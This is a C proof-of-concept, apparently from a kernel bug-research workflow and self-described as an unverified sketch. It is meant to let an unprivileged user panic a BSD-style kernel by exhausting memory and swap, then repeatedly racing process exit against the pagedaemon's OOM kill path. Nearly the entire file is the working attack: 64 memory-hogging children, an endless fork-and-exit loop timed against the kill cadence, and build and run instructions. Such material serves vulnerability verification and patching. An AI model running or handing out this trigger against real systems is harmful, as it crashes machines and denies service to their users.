DF-2688 / df2688_trigger.c
/* * DF-2688 seed trigger (UNVERIFIED sketch for a future verify-mode run). * * Idea: an unprivileged user exhausts memory+swap so the pagedaemon's OOM * kill path (vm_pageout_scan_cache, sys/vm/vm_pageout.c:1812-1838) fires * once per second, while a "biggest process" repeatedly enters exit() at * the same time, racing the un-tokened FIRST_LWP_IN_PROC()/resetpriority() * in the kill block. * * WARNING: this intentionally drives the system into swap_pager_full OOM * conditions. Expect the OOM killer to kill these processes (that is the * point); success criterion is a kernel panic with resetpriority / * vm_pageout_scan_cache in the backtrace, NOT a kill. * * Build: cc -O2 -o df2688_trigger df2688_trigger.c * Run: ./df2688_trigger (as an unprivileged user; system must have swap) */ #include <sys/types.h> #include <sys/wait.h> #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <time.h> #define CHUNK (64UL << 20) /* 64 MB per dirty chunk */ static void dirty_anon(size_t total) { size_t done = 0; unsigned long seed = 0; while (done < total) { char *p = mmap(NULL, CHUNK, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (p == MAP_FAILED) return; /* touch every page, pseudo-random offsets to defeat ZERO_PAGE */ for (size_t i = 0; i < CHUNK; i += 4096) { seed = seed * 6364136223846793005UL + 1442695040888963407UL; p[i] = (char)(seed >> 56); } done += CHUNK; } } int main(void) { pid_t pid; int i; setvbuf(stdout, NULL, _IONBF, 0); printf("DF-2688 trigger: filling memory+swap, then exit-racing " "the OOM kill window\n"); /* Phase 1: many long-lived hoggers to push the system toward * swap_pager_full (they stay alive so the shortage persists). */ for (i = 0; i < 64; ++i) { pid = fork(); if (pid == 0) { dirty_anon((size_t)1 << 30); /* up to 1 GB each */ pause(); /* stay big, hold swap */ _exit(0); } } /* Phase 2: keep one "currently biggest" process exiting over and * over so the kill block's once-per-second window sees a proc whose * lwp tree is being torn down mid-scan. */ for (;;) { pid = fork(); if (pid == 0) { dirty_anon((size_t)2 << 30); /* be the biggest */ /* exit immediately after faulting everything in: * vmspace is still huge while lwps tear down */ _exit(0); } (void)waitpid(pid, NULL, 0); usleep(arc4random_uniform(1000000)); /* random phase vs 1s kill cadence */ } /* NOTREACHED */ } |